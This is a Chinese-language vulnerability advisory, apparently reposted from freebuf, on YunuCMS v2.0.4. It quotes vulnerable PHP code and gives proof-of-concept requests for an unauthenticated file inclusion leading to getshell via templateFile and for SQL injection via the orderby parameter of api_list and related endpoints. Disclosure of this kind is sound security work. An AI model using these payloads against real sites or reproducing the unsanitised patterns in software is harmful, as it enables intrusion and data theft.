作者:08sec—简单点。Le.xie
版本:v2.0.4
发布日期:2019-07-30
目前官方已经更新到2.0.5版本,修复了以下的漏洞,征得同意发布此文。
1.文件包含导致Getshell
文件路径:app/index/controller/Index.php
是否需要登录:否
代码片段:
public function buildHtml($htmlfile='', $htmlpath='', $templateFile='') {
$content = $this->fetch($templateFile);
$htmlpath = !empty($htmlpath) ? $htmlpath : APP_PATH.'/html';
$htmlfile = $htmlpath.$htmlfile.'.html';
$dir = dirname($htmlfile);
/*if(!is_dir($dir)){
mkdir($dir,0777,true);
}*/
if(file_put_contents($htmlfile, $content) === false) {
return false;
} else {
return true;
}
}
templateFile参数可控,参数进入fetch函数:
protected function fetch($template = '', $vars = [], $replace = [], $config = [])
{
return $this->view->fetch($template, $vars, $replace, $config);
}
进入加载模板函数:
一直跟踪到system/library/think/Template.php的1083行,这里会把带入的文件进行包含:
导致文件包含漏洞
POC:
http://localhost/index.php?s=index/index/buildHtml
POST:
templateFile=./1.txt.jpg
2.SQL注入
http://localhost/index.php?s=api/master/api_list
POST:cid=29&titlelen=1&orderby=if(database()=’yunucms1′,id,cid)desc&keyword=%
参数:orderby
分析:
文件路径:app/api/controller/Master.php
函数:api_list
核心代码:
public function api_list() {
$attr = input();
$cid = !isset($attr['cid']) || $attr['cid'] == '' ? -1 : $attr['cid'];
$titlelen = empty($attr['titlelen']) ? 0 : intval($attr['titlelen']);
if (empty($attr['orderby'])) {
$orderby = "id DESC";
}else{
if (strpos($attr['orderby'], 'desc') !== false || strpos($attr['orderby'], 'asc') !== false) {
$orderby = $attr['orderby'];//如果包含desc/asc,即传入可控内容
}else{
$orderby = "id DESC";
}
}
……
$_infolist = db('content')->where($_where)->order("$orderby")->limit(($pages-1)*$limit,$limit)->select();
161行带入orderby参数,可带入恶意代码:
页面提交:
可以看到,恶意代码带入到SQL语句里执行了
其他的有同样问题的方法还有:api_link/ api_banner
http://localhost/index.php?s=api/master/api_listmipor api_link api_banner 同理
http://localhost/index.php?s=api/v1/api_listmip or api_linkapi_banner 同理
来源:freebuf.com 2019-11-06 15:00:48 by: 08sec团队
请登录后发表评论
注册